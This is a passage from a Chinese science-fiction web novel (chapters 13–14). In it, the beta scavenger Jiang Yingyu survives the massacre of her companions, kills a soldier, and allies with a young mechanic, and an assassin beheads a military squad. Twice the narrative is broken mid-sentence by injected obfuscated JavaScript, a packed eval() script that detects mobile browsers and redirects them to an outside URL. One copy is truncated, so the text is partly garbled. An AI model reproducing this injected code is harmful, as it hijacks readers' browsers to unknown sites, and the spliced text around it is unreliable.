江应余试图让自己放下心来,以防万一,她拿起试管,拧下封口的木塞,将金苹果倒入口中。吸取上次的经验,这一回她没有饮下太多。 考虑到金苹果的生效需要一定的时间,江应余扭过头,对跟在自己身后的莉莉可说:“莉莉可,先等一下,过会儿我们再一起——” 声音骤然止住,一股剧烈的疼痛突然从腹部传来,硬生生止住了江应余没说完的话。她难以置信地低头看去,一截泛着冷色的刀尖从背后刺穿腹部出现在眼前。 江应余简直两眼一黑。不知是因为极度震惊,还是什么别的原因,她感到身体的力量正在极速流失,困意不合时宜地侵占了她的大脑,她还想说点什么,却只能发出不明所以的呜咽声,而用不了多久,她连这点声音都发不出来了。 倒在地上失去意识的前一秒,江应余最后听见的是莉莉可的哭声。 可是莉莉可什么都没有说,连道歉都没有。 莉莉可蹲在地上哭了很久,眼睁睁看着江应余姐姐闭上眼陷入睡眠后,她才颤抖着身子站起来,手上沾满了从江应余体内流出的鲜血。 她惶然挪开视线,满怀愧疚地看向不省人事的江应余,以及她手里握着的金苹果。 虽然不知道这管金色的试剂是什么东西,但对于江应余姐姐而言应该很重要,以前从没见她拿出来过。 莉莉可将它从江应余手中抽出,打量片刻后,又将它塞进了江应余的口袋里。 * 江应余醒来的时候腹部的伤口疼痛不减,仍在流血,她朝周围看了一圈,发现身旁全是尸体,被人胡乱地摆放在一处。 她捂着伤口挣扎站起来,倒吸一口冷气,不间断的头疼与耳鸣提醒着她金苹果已经生效,这让她心中多少有了点底气。 四下一片漆黑寂静,与昏迷前的混乱景象截然不同,江应余强撑着身体走到每一具尸体旁,借助智网终端的亮光辨认其身份后便迅速挪向下一具,越看越是心惊,这里的尸体全都是她认识的拾荒者。 直到她看见了彭姨与莉莉可的尸体,她们二人倒在一处,莉莉可还紧紧攥着彭姨的手,两人身上都有枪伤,看来都是死于第三军团的围剿。 江应余不由得晃了下神,眼前一幕所带来的巨大冲击让她差点以为自己在做梦。 一天前的自己绝对想不到,不过短短一夜之间,她竟会失去所有的同伴。 江应余后知后觉地理解了彭姨的计划,在彭姨看来,由于第三军团并不知道她加入了拾荒队,所以她是这里唯一一个能够逃出去的人。 可是以beta的身手而言,想要在训练有素的alpha士兵手中逃出生天无异于痴心妄想,于是彭姨将经过特殊处理的匕首交给了莉莉可,要求莉莉可趁她不备将她刺伤以致昏迷,伪装成尸体。 这样一来,等第三军团的人将拾荒队清剿干净就会离开防空洞,而醒来的江应余才能利用这一空隙找机会逃出这里。 江应余叹了口气。这个计划实在太冒险了,不符合彭姨一贯的作风,但在那样紧迫的情况下,或许这就是彭姨所能想到的最好的办法。 可惜,彭姨不知道的是,她的运气向来不怎么样。 仿佛正是为了应证江应余心中所想,台阶尽头的那扇象征着出口的大门被人从外面打开。 一名士兵走了进来。 江应余与士兵四目相对,两人均是一愣。士兵没想到自己能如此走运,而江应余却是没料到自己真能如此倒霉,没有片刻犹豫,她立即举起双手表示投降。 士兵戴着防毒面具,看不清面容,只听他阴恻恻地笑了下,好整以暇地向前走了几步,绕着江应余转了一圈。 “我就说怎么多了一具尸体,果然是**(军队粗口)使了诈。” 他拿枪抵住江应余的后背,催促她往前走。等到他们来到一处空旷无人的雪地,士兵便踹了她一脚,冷声命令:“还不跪下!” 江应余没有反抗,由于目前尚不能确定有多少名士兵在附近徘徊,虽然她拥有精神力这一底牌,但以一对多并没有多少胜算。 她按捺住心底的屈辱,缓缓朝着士兵的方向弯曲膝盖。 士兵自上而下地俯视着她,眼神轻蔑: “告诉我,beta,你效忠于谁?” “是联邦、赵显、无主之地、还是新世界?” 冰冷的枪口抵在江应余额头前。 而她跪在雪地里,像个罪人一样。 每一次呼吸都在牵动之前的伤口,无止尽的疼痛却能强迫她保持清醒。 脑海中突然想起三殿下说过的话,“比起彻头彻尾的失败,我更害怕的是,自己在最开始连反抗的勇气都没有”。 是啊,反抗的勇气。 就在两天前,她敢于对alpha小少爷大打出手,那么现在,她又为何不敢为自己拼一把呢? 最坏的结果,也不过是死亡而已。反正她除了这条命,也没什么可失去的了。 “Beta,你最好不要挑战我的耐心,快说!” 士兵不耐地拿枪口推搡她的脑袋。 江应余险些翻倒在地。 她回正上半身,保持着象征着臣服的跪姿。 可无论是她的眼神,还是她的口吻,甚至是她挺直的脊背,都没有半点臣服的意思。 正如她此时此刻的回答一般—— “我只效忠于我自己。” 精神力所延伸出的触须在士兵身后躲藏已久,在话音落下的同时,像是收到了号令,猛然朝士兵突刺过去。 士兵无论如何也预料不到真正的威胁来自身后。 当他的直觉告诉他不对劲的时候,一切都为时已晚。 扑通。 士兵的头颅掉落在地,硕大的瞳孔里仍保持着死前的震惊。 双手无力下垂,身体在僵硬片刻后向前倒在了江应余的身侧。 就这么结束了。江应余吐出一口气,眼底满是荒凉。她想到了死去的拾荒者们,莉莉可,彭姨。 关于一条生命,关于一次拾荒之旅。 结束得实在有些突兀了。 不论对谁来说。 强忍副作用的江应余终于不力瘫倒下去。 鼻血乍然涌出,成了这荒凉雪地里唯一的亮色。 江应余疲惫地闭上眼。 匆匆忙忙地逃了这么久,却还是稀里糊涂地落得这么个一无所有的下场。杀死一名士兵可是重罪,就算她命大真能逃出D-309星,帝国已是再也不能回去了。 这次可是真正的无家可归了。 她想,不如就让她像这样死在这里吧。 她是真的有些累了。 13. 第十三章 当杀机已近在你耳旁 不少隶属于第三军团的士兵零零散散地围在军舰旁,偶尔会交接一下任务的进度,大多数人的口吻都十分轻松,毕竟拾荒队的人已经清除完毕,只需要找出那个不知躲在何处的入侵者,他们的任务就能顺利完成。 就在有人提议要不要喝上一杯庆祝这长达半年的任务终于走到尾声的时候,有眼尖的士兵发现了浓稠的黑夜尽头出现一抹暗淡的光晕。 “那是什么?”他问,“第一军团的人去而复返?” 这话说出来连他自己都不相信,包括他在内的好几人都跟着笑了起来。 稍微警惕些的已经架起了枪支,摆出戒备的姿势:“还是小心些为好,这次的任务虽然简单,但上头可不允许我们出半点差错。” 周围几人交换了下眼神,都没有反驳。 远处的光晕逐渐扩大,让士兵们足以辨认出这是一艘型号不明的巡洋舰,舰身的涂装有些花里胡哨,风格不一,像是胡乱拼接而成,无从推断其来历。 士兵们在心中迅速拉起警报,有人已经联络上了驻守在军舰内的小队成员,冲其余几人打了个手势。于是他们纷纷散开,围成弧形,将这艘舰艇前进的路线全部堵死。 在一次警告性的能量光束射击后,不知来历的巡洋舰终于放缓速度,一点点降落在众人面前。 士兵们渐渐缩小阵型,步步逼近舰艇出口,然而,还没等他们出声威胁,舱门便从内部被打开了,看起来里头的人比他们更加迫不及待。 首先感知到的是信息素的味道。 在这暗无天日冰雪永驻的D-309星,一抹别样的寒凉悄然袭上了所有人心头,伴随着远处呼啸而来的风声,刺骨寒意愈发强烈,哪怕是装备精良的士兵们竟也生出了一种错觉,仿佛全身的血液都在此刻被冻结,就连他们的心底都生出了恐惧,每一步都好似如履薄冰。若不是alpha对彼此间的信息素天生带有排斥之感,在这片冰雪漫天的环境中他们将很难反应过来—— 这个人的信息素,是没有丝毫气味的纯粹的雪。 众所周知,alpha与omega的信息素往往与其本人的性格和经历有关,很多军校甚至还会开设信息素心理学的课程,旨在通过分析敌人的信息素来进行心理侧写,如果遇上差距悬殊的敌人,可以有针对性地调整战术,历史上有不少战役也因此出奇制胜。 可是,类似于雪这种无味的信息素,实践中实在是少之又少,太过罕见。 对于这位不知名的alpha,士兵们仅能推断出其性格足够冷静,足够缜密,也足够无情。 单单凭借这几点,再结合对方只通过释放信息素就能让他们心生怯意,足以证明这是一个强大得可怕的对手。 而驻扎于D-309星的这支舰队在第三军团中可算不上战绩优异,其中还有不少刚加入进来的新兵,由于这次派发给他们的任务本就简单,也是出于历练的目的,就将这些新兵全都带了过来。 也不知是哪个胆小的说了句: “既然这个人是alpha,不是beta的话,我们是不是可以——” 话都没说完,就连想要阻止他的同伴也没来得及开口,便眼睁睁看着他的脖子上突然冒出一条血红的丝线,像被谁画上去一般,笔直工整。很快,鲜血骤然迸开,他的脑袋掉在了地上,咕噜咕噜滚了一圈。 同伴目光骇然,下意识抬起头,在临死前的最后一秒终于捕捉到了对方的身影。 这是一名女性alpha,眼神正如他们想象中那般漠然,身手迅疾敏捷,手中染血的利刃不过调转个方向,便朝着他直直袭来。 与她四目相对的这一刻,他仿佛听见了死亡在向他低语。 又是一个脑袋掉了下去。 女性alpha眼神一转,动作不曾停顿,迅速锁定了下一个目标。在绝对的实力差距下,第三军团的士兵在她面前犹如一群天真的羊羔,斩杀起来简直毫不费力。士兵们的反击更是不被她放在眼里,极度的恐惧让他们自乱阵脚,一击即溃,她甚至觉得自己闭着眼睛都能把这群人杀完。 在这场单方面的屠杀下,终于有人辨认出了她的来历,惊惶后退几步,差点连武器都拿不住,语无伦次地叫喊道: “她、她是归零!无主之地的那个!杀手归——” 无主之地的顶尖杀手,维克托最强大的王牌,归零,生平最讨厌别人大喊大叫。在解决眼前的目标后,不过瞬息便调转了方向,如鬼魅一般突现于叫喊的士兵眼前,紧接着,锋利的刀锋快得根本让人看不清她的动作,他连尖叫都来不及发出,脑袋就被割了下来。 没有温度的黑色眼睛是他离开人世前看见的最后一样东西。 冰雪般的信息素笼罩在这片冻土之上,犹如至高无上的女王回到了属于她的国度。你甚至无法分清,威慑人心的究竟是散播恐怖的信息素,还是女王冷酷的眼神。 一共一百五十六人。 归零在心中默默计数。她从第三军团的军舰中踱步而出,随手将提着的脑袋丢在雪地里,将染血的短刀缓缓收入鞘中。 虽然这支舰队的规模并不庞大,但杀死他们所有人连枪支都不必派上用场,说是一群废物也不为过。看来帝国第三军团的水准下滑得十分严重。 杀戮已走到尾声,风雪依旧。 归零上前一步,将短刀贴在胸前,闭上了双眼。 她没有佩戴任何防护措施,相较于士兵们的全副武装,她只穿了一身便于行动的紧身衣。这具被改造过的身体早已无惧严寒与毒雾,让她成为战无不胜的利器,成为收割生命的死神。 在空旷的雪原中,除了无尽的风声,只剩下她似呢喃又似呓语般的祈祷,像是某种悼词,又像是某种诅咒—— “愿一切喧嚣终将戛然而止,归于宁静。” * D-309星的气候果真如传闻中那般恶劣,既无防毒面具也无交通工具的闻如昭只能捂住口鼻,在寒风暴雪中艰难前行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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根据江应余的经验判断,此人大概率是个beta,且有一定的机械制造经验,身后的机械手如果出自眼前人之手,那么她的水平在同龄人中足以排在前列,就连江应余自己也不敢承诺能复制出如此精良的机械手。 听见她的威胁,江应余也不恼,平静地举手投降。 这一举手,江应余腹部的伤口便暴露在了闻如昭眼前。 看着两人如此相似的境遇,闻如昭不禁一愣,原来倒霉的人不止她一个。 “我可以说话了吗?”江应余问道。 闻如昭没在她身上发现武器,稍稍放下了戒心:“你想说什么?” “如你所见,我是一名拾荒者,在第三军团的追杀中负伤,为了表示诚意,我愿意向你分享一样东西。”江应余从怀中掏出一物,扔至闻如昭身前,“你认得这个吗?” 闻如昭定睛看去,几乎立刻撇开了眼,仿佛被什么烫了一下,连声音也颤抖起来:“你怎么会有这个?” 原来她认得金苹果。江应余在心中思索片刻,继续试探道: “你不想试着用一下吗?” 14. 第十四章 闻如昭惊讶地瞪大了眼睛,不知道江应余是真傻还是在装傻,但从她的话中不难推断出她本人已经使用过金苹果了,之前绊倒自己的东西很有可能就是她的精神力延伸出来的触须。 闻如昭回答得很谨慎:“我不需要这种东西。” 江应余有些意外。在她的设想里,绝大多数人都不太可能会拒绝金苹果的诱惑,这可是能够提升精神力的试剂,就连精神力天生低下的beta在使用后也能轻松到达S级,即使没有意念机甲,仅仅凭借精神力触须就能杀死一名训练有素的alpha士兵。 虽然不知道这个人为什么如此排斥金苹果,但她是江应余眼下唯一一个能够把握住的转机。 江应余决定更换策略,开诚布公道:“如果我没猜错的话,你此刻正在被第三军团的人追杀,对吧?” 闻如昭瞳孔一缩,没有作答。 江应余继续道:“而我杀死了第三军团的士兵,也成了他们的眼中钉,与你一样都想要尽快离开这里。所以我们不妨联手合作,我可以通过金苹果来保护你,还能提供一艘救生艇的位置,而你只需要帮我一个忙就能与我一起离开这里。” 这些条件听上去很诱人,而江应余也没有骗人的必要,在最开始的时候她就向闻如昭表明了金苹果的存在,这点无从作假,至于救生艇,则是当初贺平淮流落到D-309星搭乘的那艘,作为亲自救下贺平淮的人,江应余当然知道它的位置所在。 但现在唯一的难题在于…… 闻如昭直接问了出来:“你想让我帮什么忙?” 江应余咳了一声,面露难色:“我所提到的这艘救生艇各方面性能都不错,唯一的缺陷在于它的燃料已经耗尽,这就意味着,我们必须想办法获取充足的燃料,才能利用它离开D-309星。” 回应江应余的只有沉默,以及闻如昭垮下来的脸。 在D-309星这种偏僻的鬼地方,没有燃料的救生艇与一堆废弃金属有什么区别? “你先别生气。”江应余补充道,“我知道该去哪里找燃料。” 闻如昭深吸一口气,决定再给她一次机会:“去哪里找?” 其实这个问题的答案很简单,话刚问出口闻如昭就立刻反应了过来,瞪大了双眼,为江应余的胆大包天无比震惊。 在荒无人烟的D-309星,除了拥有军舰的第三军团,还有哪里会存放燃料呢? 闻如昭好半晌才找回自己的声音:“你要去抢第三军团的燃料?我可不干!” 在雪地里站了太久,闻如昭没撑住打了几个喷嚏,继续说:“以我们现在的本事哪里能和他们硬碰硬,就算你有金苹果也很难以一敌众,甚至还会暴露金苹果的存在,这跟送死有什么区别?” 江应余立即反问:“难道不采取行动就不会死了吗?或者说,你能想出什么更好的办法?” 闻如昭哑住了,无力反驳。 在闻如昭无可奈何的妥协下,为初步建立信任,达成合作共识,两人交换了彼此的基本信息,并在江应余的带领下返回了拾荒队扎营的防空洞里。在江应余表明自己杀了一个士兵的时候,闻如昭起先仍是半信半疑,直到在返程的路上路过那具身穿军装的尸体,才终于打消了她最后的怀疑。 在无主之地长大的人还不至于被一具尸体吓倒,但当闻如昭看见满屋堆积的尸体后,觉得自己还是把江应余想得太简单了。 机械手在检测到她心理状态的转变时,几乎瞬间便进入了警戒状态,引来了江应余好奇打量的目光。 闻如昭看了看满屋的尸体,又看了看江应余,强忍恐惧,问道:“这些人不会都是你……”话才说半截就止住了。 “当然不是。” 江应余的语气非常平静,仿佛与这些尸体不曾相识,更不曾相伴半年时光。她上前几步,走到莉莉可身旁蹲下,轻轻摘下防毒面具,看见了面具之下还算安详的面容。 原本的动作立时顿住了,连指尖也跟着颤了一下。密密麻麻的钝痛从胸口蔓延开来,迟来的悲伤终于击溃了江应余的故作坚强。可她表面上仍是平静的,甚至是冷酷的。 唯一的端倪是她颤抖着抬起手,像往常一样,温柔地抚过莉莉可的头顶。 她甚至不知道自己应该说些什么,也不知道自己有何颜面出现在她们面前。 江应余强迫自己狠下心将视线从莉莉可脸上移开,毫不留恋地站起身,谁都无法知晓她心头萦绕着挥之不去的悲痛与无力感。 在这短短一日内发生了太多太多难以预料的事,江应余有无数次觉得她与拾荒者们不过是一群被舍弃的蝼蚁,哪怕有金苹果在手,她也无法改变其他人的命运。 是啊,这就是命运。 而她,她们,以及所有人拼尽全力挣扎也无法看清命运的全貌,每个人都被仓促地推着走向灭亡。 可即便如此,即便这就是属于拾荒者的命运,是属于废物的命运,江应余也不想低头。 事情发展到这个地步,本以为沦为拾荒者就是人生低谷的江应余从没想过她还能输得更加彻底,当她力竭倒在雪地里的时候不是没想过放弃,所有的努力在军团的倾轧下都成了无用功,而这一次,她已是真正的一无所有。 杀了士兵,成了罪犯,无处可去,无处可逃。 在那一瞬间,她甚至想丢了手里的金苹果,就这么冻死在寒风中。 但这个念头很快就被打消了。因为她真的很不甘心。 都说唯有苦难才能造就英雄,可她分明什么苦都吃过了,别说成为英雄,就连正常人的生活也失去了。 好似属于她的苦难总是看不见尽头,好似在时代中逆行的人最后总要学会认输。 是因为她的脊梁太脆弱,还是因为她跪得太轻易? 如果属于她的命运注定充满了苦难与挫折,如果她注定与理想无缘,也注定无法登上顶峰—— 这些都已无关紧要。 她撞了那么多次南墙,现在总算醒悟了一回。既然这条路行不通,那就不妨换一条,什么“唯有苦难才能造就英雄”都是狗屁。 她只知道,苦难所造就的可不只有万人称颂的英雄,还有无数个从地狱里爬回来的恶鬼。 曾经的优等生已经死在了雪地里。从今往后,她不会再遵从任何人定下的规则,既然三殿下已经失败过一次,那她就要比三殿下更加不择手段更加无所不用其极,什么仁义道德什么教养礼仪皆可抛弃,即使这世上没有一个beta能挣脱自己的宿命,她也非得试试不可,就算会身败名裂也无妨。 在这片无垠的星海中,谁敢断定在遥远的未来,她不能让“江应余”这个名字响彻寰宇? 江应余敛下眼中翻涌交织的滚烫野心与刻骨伤怀,声音如常:“这里的人都是我曾经的拾荒者同伴,却毫无缘由地惨遭第三军团杀害。” 说到这里,她弯腰拾起了另一具防毒面具,向闻如昭递了过去:“你有需要的话,可以带走他们身上有用的东西。” 但谁都知道,拾荒者身上根本没什么有用的东西。 闻如昭面露难色地接过面具,倒不是对此事有什么心理障碍,而是江应余的种种反应让她难以放下戒备。 “她们真的不是你干掉的吗?”她还是将心里话问出口了。 江应余不由一愣,手指无意识在莉莉可的防毒面具上来回摩擦,闻如昭的怀疑让她有些恍惚,因为她也时常这样问自己。即使她极力克制,隐含于目光中的复杂情感还是泄露了几分,语气喜怒难辨:“你大可尽情猜测。” 闻如昭哪里还敢猜,有防毒面具给她戴就不错了,真把人惹恼了,断了一条机械臂的她还真没把握能打过拥有金苹果的江应余。 两人都不再说话,周遭便安静了下来。 在确定闻如昭没什么需要的物品后,江应余带着她朝扎营的区域走去,想看看在那里是否还能找到一点医疗物资。 以她们俩目前的伤势与中毒的程度来看,若再不及时进行处理,恐怕很快就会失血过多而亡。 江应余四处翻找的时候闻如昭无事可做,只能这里走走那里瞧瞧,跟在江应余身后将防空洞的整体布局大致记了下来。 在第三军团围攻进来时,许多人慌忙逃窜踩坏了不少物品,许多帐篷都未能幸免于难。闻如昭眼尖地在某个帐篷中发现了一沓写满了字的纸,要知道纸笔这种东西在星际时代早就被淘汰了,尽管如此仍有不少商家会将其作为具有纪念意义的古董高价出售,它们哪里是一贫如洗的拾荒者能买得起的东西。 或许是从有钱人身上偷来的,毕竟有钱人很喜欢拿这些没用的东西来彰显自己。 这样想着,闻如昭好奇地翻开看了看,打算挑几张带回到无主之地倒卖出去。 却没想到这沓纸上全都写满了字,密密麻麻不留一丝空隙,有好几处笔墨用尽后便蘸了灰尘继续写,力求填满每一处空白。 而这上面的字大多歪歪扭扭,像初学识字的小孩一样,写下的每一道笔画都如同蠕动的蚯蚓。 闻如昭眯起眼睛,努力从这些挤在一起的偏旁部首中找寻她认得的字,将几页纸横过来竖过去,变着角度看了好几遍,在她所能辨认的字迹中,除去一些基础的日常用语,出现次数最多的竟然是一个人的名字——江应余。 她不由朝江应余的方向望去,对方仍在专心致志地搜寻物资,对她的发现一无所知。 “看看我发现了什么!”闻如昭将手里的纸页塞到江应余眼前,好奇地问:“这些字不会是你写的吧?” 江应余只简单扫了一眼便认出这是莉莉可练习写字使用的纸张。 淡黄的纸页是从语录集中撕下来的,因为莉莉可不识字,拾荒队里也没几个有文化的人,只有江应余不仅有闲心也有耐心去教她,莉莉可虽然学得慢,但态度很认真,花了半年时间已经记住了不少基础词汇,也知道怎么写她与江应余的名字。 “这是我一个朋友的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453337|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江应余将纸页折叠整齐,夹入语录集中收归原位。 此时闻如昭的脸上已不见对江应余的忌惮,只剩下年轻人的活泼与好奇。她对江应余明显敷衍的回答不是很满意,还想再问几句,却被自动巡航系统的语音播报打断: “检测到所属第一军团的救生艇降落于D-309星,距离当前定位还有500米……检测到……距离当前定位还有450米……” “又是第一军团?” 闻如昭有些不知所措,下意识看向江应余:“第一军团的救生艇朝我们的方向过来了,我们该怎么办?” 提到第一军团,江应余很难不去联想魏循章。虽然第三军团突如其来的围剿看似与第一军团毫无干系,但直觉让她觉得此事少不了魏循章在背后运作。 魏循章的目的尚不明晰,从寥寥数次的接触来看,她似乎偏好于采用言语上的引导,而非直接粗暴的武力。如果这艘救生艇的出现来自于她的授意,说不定会成为某种转机。 “先静观其变,不必惊慌。”江应余瞥向闻如昭慌乱间无意识拉住她袖子的动作,竟不禁想起了江新越,以及莉莉可。说起来,闻如昭虽然个头很高,但看上去最多不超过二十岁,比莉莉可、贺平淮还要小一些。 她在心里叹了口气,态度略微软化:“如果实在感到害怕的话,就找个帐篷躲起来吧,我先出去探查一下。” 出乎意料的是,闻如昭摇了摇头,虽目光有些闪躲,但声音还算坚定:“这、这可不行,我们好歹也是同伴,我可不会做这种让同伴一人打头阵的事。” 她腰间的自动巡航系统还在播报:“……距离当前定位还有300米……” 江应余揉了揉额角:“那就一起去吧。”再拖下去对方说不定都能闯进防空洞突脸了。 闻如昭紧跟着江应余向外走,仅剩的那条机械臂已经神赳赳气昂昂地立了起来,护在两人身侧,巨大的机械手时刻警戒着周围,即使目前一个人影也没见着。 但因为距离拉近,江应余再次被机械手转移了注意力,如果不是眼下时机不对,她甚至想把它拆开看看里面的构造。 闻如昭究竟是如何将这些廉价的零件组装成如此精密的机械手的? 不仅如此,江应余对闻如昭腰间一直播报救生艇位置的小仪器也很好奇,她身上怎么会有这么多稀奇古怪又很实用的东西。 “这是探测仪吗?”似乎比江应余在拾荒队使用的探测仪高级许多。 “当然不是。”闻如昭骄傲地仰起头,“这可是我的得意之作,我给它起名为‘自动巡航系统’,与市面上一般的探测仪有着天壤之别。” “巡航?”江应余感到疑惑,“没记错的话,巡航是指一定高度下的飞行状态吧……” 闻如昭面红耳赤地打断江应余:“我当然知道这个,只是发生了一点小状况,它现在飞不起来了而已。” 单薄的说辞毫无说服力,闻如昭羞愧得连声音都低了下去,以至于江应余没能听清她说的最后几个字。 不过闻如昭的解释很明显是多余的,因为江应余根本不相信像她这样优秀的机械工程师会犯这种低级错误。 “发生了什么状况?与你流落到D-309星有关?”江应余继续问道。 “这就说来话长了。”闻如昭心有余悸地叹了一声:“简单来说,它原本搭载于一架小型侦察机中,或者说,我所制作的每一架侦察机都会配备相应的自动巡航系统,然而,这些侦察机全都被无主之地的杀手归零给破坏了,现在这个还是我千钧一发之际舍命抢救下来的。” 提及那些损毁的侦察机,闻如昭很难不去想她的自走机械、断掉的机械臂、智能武装系统,以及她最最重要的霸主,它们不是被归零毁掉就是被夺走了,那可是她花了很多年的功夫,靠这里偷偷那里抢抢才搜集到合适的零件,一点一点精心制作出来的宝贝啊! 虽然专业不同,但机械维修系出身的江应余也能理解这种心血被人糟蹋的痛苦,她同情地拍了拍闻如昭的肩膀:“节哀。” 不等二人多说,悲痛的氛围便被远处破门的巨响打断,江应余与闻如昭迅速交换了一个眼神,虽然是第一次合作,但无需言语交流也能很有默契地进行分工。 江应余小心翼翼地走在前方,闻如昭握紧手枪尾随其后为她打掩护,两人的神情是如出一辙的肃穆,在探清对方的底细之前,谁都不敢松懈分毫。 就在江应余屏息凝神,准备利用不远处的拐角隐蔽身形时,拐角另一头传来了某道熟悉的声音。 “该死!怎么一个人都没有……江应余?你还活着吗?” 闻如昭朝江应余投去惊讶的目光,用嘴型无声问道:他似乎是你认识的人? 被询问的江应余同样也很惊讶,一时不知该如何作答。今日发生了太多太多的变故,以至于她彻底将贺平淮的存在忘在了脑后。 更重要的是,他此刻不是应当跟着第一军团离开D-309星了吗?